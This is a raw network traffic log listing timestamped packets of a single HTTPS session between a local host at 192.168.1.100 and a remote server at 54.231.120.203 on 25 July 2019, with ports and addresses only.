Jul 25, 2019 13:47:12.782993078 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:12.783334970 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.783365965 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.783390045 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.783459902 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:12.817212105 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.817250013 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.817271948 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.817292929 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.817388058 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:12.817528963 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.817682981 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.817715883 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.817743063 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.817775965 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.817794085 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:12.818456888 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:12.824989080 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.825017929 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.825131893 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:12.825198889 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.825215101 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.825243950 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.825311899 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:12.885220051 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.885284901 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.885323048 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.885365963 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.885405064 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.885443926 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.885962009 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.886010885 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.886051893 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.888143063 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:12.919856071 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.919912100 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.919940948 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.919965029 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.920044899 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:12.920239925 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.920269012 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.920289040 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.920362949 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:12.921051979 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.921073914 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.921226025 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:12.927628040 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.927665949 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.927690029 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.927706003 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.927733898 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.927881956 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:12.990755081 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.990793943 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.990824938 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.990869999 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.990916967 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.990968943 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.990983963 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:12.991019011 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.991045952 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.991091013 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:12.991131067 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.022387981 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.022506952 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.022583961 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.022591114 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.022622108 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.022634983 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.022655964 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.022685051 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.022696018 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.023761988 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.023797989 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.023943901 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.030416012 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.030522108 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.030570984 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.030615091 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.030666113 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.030708075 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.030711889 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.030828953 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.093529940 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.093661070 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.093693972 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.093720913 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.093746901 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.093746901 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.093769073 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.093796968 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.093820095 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.093873978 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.124694109 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.124739885 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.124761105 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.124779940 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.124829054 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.124922991 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.125045061 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.126317024 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.126348972 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.126373053 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.126401901 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.126552105 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.133135080 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.133163929 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.133182049 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.133199930 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.133218050 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.133236885 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.133322001 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.196003914 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.196130991 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.196409941 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.196445942 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.196472883 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.196588993 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.196616888 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.196635008 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.196652889 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.196719885 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.227303982 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.227346897 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.227369070 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.227390051 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.227416039 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.227441072 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.227466106 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.227519035 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.227798939 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.228739023 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.228841066 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.228892088 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.228926897 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.228929996 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.229176044 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.235392094 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.235430956 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.235440969 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.235461950 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.235482931 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.235615969 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.235856056 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.274262905 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.298952103 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.299004078 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.299021959 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.299038887 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.299055099 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.299093962 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.299112082 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.299129009 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.299179077 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.329812050 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.329929113 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.329977989 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.330024004 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.330028057 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.330075026 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.330117941 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.330168009 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.330188990 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.331060886 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.331130981 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.331152916 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.331788063 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.331842899 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.331880093 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.337927103 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.337986946 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.338048935 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.338074923 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.338099957 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.338136911 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.338371038 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.376396894 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.401417971 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.401557922 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.401626110 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.401664972 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.401712894 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.401762009 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.401798010 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.401814938 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.401859999 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.401896954 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.432112932 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.432132959 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.432148933 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.432266951 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.432292938 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.432313919 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.432317972 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.432337999 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.432460070 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.433291912 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.433320999 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.433392048 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.433744907 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.433785915 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.433878899 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.440130949 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.440329075 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.440356016 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.440381050 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.440406084 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.440431118 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.440438986 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.440460920 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.440589905 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.504384995 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.504435062 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.504457951 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.504479885 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.504507065 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.504532099 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.504558086 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.504816055 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.534362078 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.534408092 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.534434080 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.534472942 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.534496069 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.534522057 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.534539938 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.534559011 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.534725904 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.536137104 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.536179066 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.536202908 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.536221981 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.536461115 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.542377949 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.542447090 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.542467117 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.542659998 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.542869091 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.542908907 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.543009043 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.543014050 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.543128014 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.543252945 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.607014894 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.607110023 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.607137918 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.607160091 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.607180119 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.607201099 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.607222080 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.607496977 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.637212038 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.637254953 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.637281895 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.637300014 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.637321949 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.637340069 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.637353897 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.637367964 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.637367010 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.637659073 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.638586044 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.638608932 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.638622999 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.638639927 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.638689041 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.644915104 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.644968987 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.645001888 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.645072937 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.645078897 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.645103931 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.645421982 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.645541906 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.645643950 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.645736933 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.710170984 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.710258961 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.710295916 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.710324049 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.710351944 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.710417032 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.710433006 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.710464954 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.710535049 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.710993052 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.739681005 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.739713907 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.739733934 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.739753008 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.739803076 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.739932060 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.739950895 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.739965916 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.739975929 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.740722895 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.740748882 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.740763903 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.740778923 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.740945101 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.747278929 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.747337103 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.747351885 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.747400999 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.747507095 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.747539043 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.747678995 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.747709036 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.747787952 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.812911987 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.812947989 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.812994957 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.813030005 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.813064098 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.813098907 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.813133001 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.813155890 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.813152075 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.813448906 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.849580050 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.849631071 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.849653959 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.849701881 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.849729061 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:13.849874020 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:13.849926949 MESZ	443	50056	54.231.120.203	192.168.1.100
